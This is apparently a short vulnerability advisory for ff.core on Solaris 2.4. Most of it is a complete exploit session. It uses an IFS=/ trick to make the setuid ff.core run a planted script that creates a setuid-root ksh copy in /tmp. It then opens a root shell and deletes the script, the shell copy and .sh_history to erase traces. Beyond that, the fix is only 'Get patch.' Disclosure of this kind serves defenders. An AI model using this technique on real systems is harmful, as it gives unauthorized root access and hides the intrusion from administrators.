COMMAND

    /usr/openwin/bin/ff.core

SYSTEMS AFFECTED

    Solaris 2.4

PROBLEM

%  ksh
%  cd /tmp
%  cp /bin/ksh .
%  echo "chown root ksh; chmod u+s ksh" > usr
%  chmod +x usr
%  export IFS=/
%  ff.core 0 1 /dev/fd0 /
%  ./ksh
#  rm usr
#  rm -f ksh
#  rm -f .sh_history

    NOTE:   Original exploit  was different,  this one  is by Security
    Bugware.

SOLUTION

    Get patch.